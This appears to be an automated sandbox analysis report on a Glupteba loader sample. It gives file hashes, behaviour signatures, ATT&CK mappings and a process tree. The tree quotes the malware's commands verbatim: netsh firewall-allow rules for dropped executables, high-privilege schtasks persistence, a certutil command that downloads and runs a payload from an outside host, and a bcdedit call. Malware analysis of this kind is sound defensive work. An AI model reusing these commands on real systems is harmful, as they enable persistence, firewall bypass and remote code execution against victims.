Overview

overview

10

Static

static

3

5fa9b888aa...18.exe

windows7-x64

10

5fa9b888aa...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-05-2024 14:50

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General

  • Target

    5fa9b888aafab451f913ce4244198a66_JaffaCakes118.exe

  • Size

    3.8MB

  • MD5

    5fa9b888aafab451f913ce4244198a66

  • SHA1

    8b36fe06a8e4a3d60ec5029e5ce9a1d1d59b2b7d

  • SHA256

    f860b299add0695283b00a911042d568dc8c51c9e4586fd440395d2d9397f349

  • SHA512

    dcdbbce52be70f9ba66cb8fb9c32281a18a6846d7c954bc0e9930eb7f79f1cb77cc17abcf85ccd9a00a6de88f1dbdf63d5a43a8994bc0310f1e59b8ffe2d5025

  • SSDEEP

    49152:7CywmMbWQ7yA5Mgfyjs6voB8+FJ5UQWZiAb0busTrq6Y/R3Ay5MPHVnUPB/l2zCu:8bdvfyjjoBhFJ1z1M/NgxU/l2WWgK

Score
10/10
gluptebadiscoverydropperevasionloaderpersistencerootkit

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 21 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\5fa9b888aafab451f913ce4244198a66_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\5fa9b888aafab451f913ce4244198a66_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2408
    • C:\Users\Admin\AppData\Local\Temp\5fa9b888aafab451f913ce4244198a66_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\5fa9b888aafab451f913ce4244198a66_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1988
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5028
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:5092
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\169a9fc7195d\169a9fc7195d\169a9fc7195d.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3352
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\169a9fc7195d\169a9fc7195d\169a9fc7195d.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:3484
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4368
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:1692
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:3708
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:3696
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2676

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1
T1053

Persistence

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Scheduled Task/Job

1
T1053

Privilege Escalation

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Scheduled Task/Job

1
T1053

Defense Evasion

Impair Defenses

1
T1562

Disable or Modify System Firewall

1
T1562.004

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

1
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    Download Submit
  • C:\Windows\rss\csrss.exe
    Filesize

    3.8MB

    MD5

    5fa9b888aafab451f913ce4244198a66

    SHA1

    8b36fe06a8e4a3d60ec5029e5ce9a1d1d59b2b7d

    SHA256

    f860b299add0695283b00a911042d568dc8c51c9e4586fd440395d2d9397f349

    SHA512

    dcdbbce52be70f9ba66cb8fb9c32281a18a6846d7c954bc0e9930eb7f79f1cb77cc17abcf85ccd9a00a6de88f1dbdf63d5a43a8994bc0310f1e59b8ffe2d5025

    Download Submit
  • memory/1988-8-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download
  • memory/1988-9-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download
  • memory/1988-16-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download
  • memory/2408-1-0x0000000003740000-0x0000000003AF1000-memory.dmp
    Filesize

    3.7MB

    Download
  • memory/2408-2-0x0000000003B00000-0x00000000041F6000-memory.dmp
    Filesize

    7.0MB

    Download
  • memory/2408-3-0x0000000000400000-0x0000000000B10000-memory.dmp
    Filesize

    7.1MB

    Download
  • memory/2408-5-0x0000000000400000-0x0000000000B10000-memory.dmp
    Filesize

    7.1MB

    Download
  • memory/2408-6-0x0000000003B00000-0x00000000041F6000-memory.dmp
    Filesize

    7.0MB

    Download
  • memory/2408-4-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download
  • memory/4368-21-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download
  • memory/4368-27-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download
  • memory/4368-22-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download
  • memory/4368-23-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download
  • memory/4368-24-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download
  • memory/4368-25-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download
  • memory/4368-26-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download
  • memory/4368-20-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download
  • memory/4368-28-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download
  • memory/4368-29-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download
  • memory/4368-30-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download
  • memory/4368-31-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download
  • memory/4368-32-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download
  • memory/4368-33-0x0000000000400000-0x000000000313B000-memory.dmp
    Filesize

    45.2MB

    Download